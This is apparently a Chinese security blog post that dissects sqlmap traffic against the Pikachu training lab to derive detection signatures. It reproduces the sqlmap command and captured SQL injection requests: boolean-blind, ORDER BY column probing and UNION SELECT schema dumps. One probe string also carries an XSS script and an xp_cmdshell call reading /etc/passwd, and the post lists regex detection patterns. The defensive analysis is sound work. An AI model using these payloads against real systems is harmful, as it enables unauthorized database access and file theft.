微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
0x01 测试对象
-
靶场框架:Pikachu
-
靶场环境:
Apache 2.4.39
、PHP 7.0.9
、MySql 5.7.2
-
测试漏洞:Sql注⼊-字符型注⼊
-
使⽤⼯具:Sqlmap/1.5.8
-
流量包样本数:5
注:本文所有得出的结论均来源于对该5个流量包分析对结果,因样本数量不多,结论可能存在⼀定局限性
0x02 Sqlmap攻击流程
-
SqlMap测试目标URL是否能够正常访问
-
判断目标URL是否受到WAF保护
-
测试注入参数是否是为动态参数和数据库类型
-
测试参数是否存在XSS攻击
-
对参数进行SQL注入测试
● 判断数据库类型
● 使用对应数据库的Payload(布尔盲注、内联注入、时间盲注、报错注入等)进行测试
● 发现可被使用的Payload后,使用再使用对应数据库版本的PAYLOAD进行测试(MySQL >=5.5、MySQL >= 5.6 、MySQL >= 5.0.12),获取大致数据库版本
● 尝试联合查询读取1 to 20 列数据 -
打印结果:可注入的参数、可使用的Payload与注入类型、网站使用的中间件版本、DBMS版本
0x03 抓包分析
PS:由于SqlMap
工具产生流量过多,文章仅就关键流量进行分析
SQL注入抓包样本如下:
1.首先当我们当使用sqlmap默认命令
sqlmap -u "http://192.168.68.78/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2"
提交请求时默认的UserAgent为:
sqlmap/1.5.8#stable (http://sqlmap.org)
这样就很容易暴露
GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1
CACHE-CONTROL: no-cache
CONNECTION: close
USER-AGENT: sqlmap/1.5.8#stable (http://sqlmap.org)
ACCEPT: */*
HOST: 192.168.68.78
ACCEPT-ENCODING: gzip,deflate
一般黑客会在SqlMap
添加--random-agent
参数,来避免被发现。
可根据上述流量提取攻击特征:
若攻击者使用SqlMap
不添加--random-agent
参数,则可通过捕获请求包的USER-AGENT
字段,来判断攻击者是否在使用SqlMap
进行攻击
2.Sqlmap在进行初始监测时会进行一些预检测
GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询&teEu=1187 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')
# HTTP/1.1#判断数据库类型和xss语句
GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=4767&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root(,.,,.)."'&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root'fYzJCd<'">QtldwA&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root') AND 4676=7206 AND ('OEeA'='OEeA&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
-
先使用第一条语句
(AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#)
对数据库类型、XSS漏洞进行监测,而这句话几乎每次注入都是不变的,所以可以将这句话作为sqlmap的攻击特征之一
-
然后判断系统是否存在关键字过滤
(,.(,,('."()、('fYzJCd<'">QtldwA)
等。
基于特征(关键字)的分析:
-
关键语句:
AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
-
关键字:包含
( , . ) " '
等6种符号随机组成的10位字段,例如(,.,,.)."'
、.).,"('(,)
-
关键字:
'([A-Za-z]{6})<'"> ([A-Za-z]{6})
,对<'">
进行监测
3.Sqlmap开始对参数name进行AND boolean-based blind - WHERE or HAVING clause测试
GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=3093&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin,.(,,('."(&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin'hcmKpa<'">NknGPm&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 9717=5822 AND ('UIrk'='UIrk&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 3051=3051 AND ('gkDr'='gkDr&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 7299=3066 AND 'GVig'='GVig&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 3051=3051 AND 'VCXZ'='VCXZ&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 4314=2816 AND (1784=1784&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 3051=3051 AND (2420=2420&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 5091=7205&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3987=5844-- FTud&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051-- KPrw&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
-
先改变原有参数值(admin变为3093)判断参数是否为动态参数
-
然后判断系统是否存在关键字过滤(
,.(,,('."(
) -
然后进行布尔盲注的paylad测试
基于特征(关键字)的分析:
正常查询参数+('|)|) AND ([0-9]{4})=([0-9]{4}) AND ('|)|)+ ([0-9]{4})=([0-9]{4})
正常查询参数+('|)|) AND ([0-9]{4})=([0-9]{4}) AND ('|)|)+ ([A-Za-z]{4})=([A-Za-z]{4})
正常查询参数+('|)|) AND ([0-9]{4})=([0-9]{4}) AND ([0-9]{4})=([0-9]{4})
正常查询参数+('|)|) AND ([0-9]{4})=([0-9]{4}) AND ([0-9]{4})=([0-9]{4})-- ([A-Za-z]{4})=([A-Za-z]{4})
name = admin(b('|AND|and|(||`))b)
4.Sqlmap判断数据库表对字段数
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 1#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 5783#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 10#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 6#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 4#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 3#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 2#&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
-
先判断是否当前表是否只有1个字段
-
然后随机判断一个4位数字段
-
最后值从10、6、4、3、2
基于特征(关键字)的分析:
-
ORDER BY
5.Sqlmap获取数据库字段
样本1:
GET /pikachu/vul/sqli/sqli_str.php?name=root' UNION ALL SELECT CONCAT(0x71707a7071,JSON_ARRAYAGG(CONCAT_WS(0x716c6a757373,schema_name)),0x71716a7a71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1
样本2:
GET /pikachu/vul/sqli/sqli_str.php?name=admin' UNION ALL SELECT CONCAT(0x7170786271,JSON_ARRAYAGG(CONCAT_WS(0x787463776368,schema_name)),0x71787a6b71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1
可根据上述流量提取攻击特征:
基于Sqlmap行为的分析:
-
当查询dbs时,sqlmap会先查询数据库版本,再查询可使用的数据库
基于特征(关键字)的分析:
正常查询参数+' UNION ALL SELECT CONCAT(16进制数,JSON_ARRAYAGG(CONCAT_WS(16进制数,schema_name)),16进制数),NULL FROM INFORMATION_SCHEMA.SCHEMATA@#
0x04 Sqlmap特征总结
-
SqlMap
的关键字特征:user-agent
、 xss测试语句、随机数的位数 -
SqlMap
的攻击流程具有一定的顺序和规律 -
SqlMap
的一些Payload测试语句具有模板特征
我是Asaotomo,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!
原文始发于微信公众号(渊龙Sec安全团队):SqlMap攻击流量特征分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论